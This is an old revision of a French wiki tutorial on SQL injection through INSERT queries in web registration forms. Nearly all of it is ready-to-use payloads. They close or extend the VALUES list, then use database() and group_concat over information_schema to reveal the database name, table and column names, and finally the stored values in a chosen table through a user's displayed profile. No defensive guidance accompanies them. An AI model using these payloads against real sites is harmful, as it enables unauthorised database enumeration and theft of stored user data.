Ceci est une ancienne révision du document !
Injection SQL Insert
Un nouveau mode d'injection sql est apparut avec la création de formulaire d'inscription. Le but de l'insert est d'insérer comme son nom l'indique des valeurs dans une bdd.
Pour mysql la requete est la suivante :
INSERT INTO table_name VALUES ('nom','prenom','email','age');
Si les champs ne sont pas traités avant d'être envoyés en base de donnée nous pourrons les exploiter.
Cet insert sera matérialisé par un formulaire simple avec quatre champs :
Nom =
Prenom =
Email =
Age =
Exploitation
Première méthode
1.Insérer des valeurs inatendu dans le formulaire
Notre requête
nom=dupond','jean','jean@dupond.fr','30')#
Cela aura pour effet de créer un utilisateur dupond jean jean@dupond.fr 30
Maintenant passons aux choses sérieuses.
2.Afficher le nom de la base de donnée
Notre requête :
nom=dupond',(database()),'jean@dupond.fr','30')#
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom.
3.Afficher le nom des tables
Notre requête :
nom=dupond',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'jean@dupond.fr','30')#
Group_concat permet d'afficher plusieurs valeurs dans un même champs.
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom.
4.Afficher le nom des colonnes d'une table
Notre requête :
nom=dupond',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'jean@dupond.fr','30')#
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom.
5. Afficher une valeur d'une table
Notre requête :
nom=dupond',(SELECT group_concat(ma_colonne) FROM ma_table),'jean@dupond.fr','30')#
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom.
Seconde méthode
1.Insérer des valeurs à la suite de la première requete.
Le contenu de notre requête
nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best','hacker','best@hacker.fr',20)#
Cela aura pour effet de créer deux utilisateurs : dupond jean jean@dupond.fr 30 best hacker best@hacker.fr 20
2.Afficher le nom de la base de donnée
Notre requête :
nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(database()),'best@hacker.fr',20)#
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom.
3.Afficher le nom des tables
Notre requête :
nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' and table_schema !='information_schema'),'best@hacker.fr',20)#
Group_concat permet d'afficher plusieurs valeurs dans un même champs.
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom.
4.Afficher le nom des colonnes d'une table
Notre requête :
nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='ma_table'),'best@hacker.fr','20')#
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom.
5. Afficher une valeur d'une table
Notre requête :
nom=dupond&prenom=jean&email=jean@dupond.fr&age=30'),('best',(SELECT group_concat(ma_colonne) FROM ma_table),'best@hacker.fr','20')#
Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom.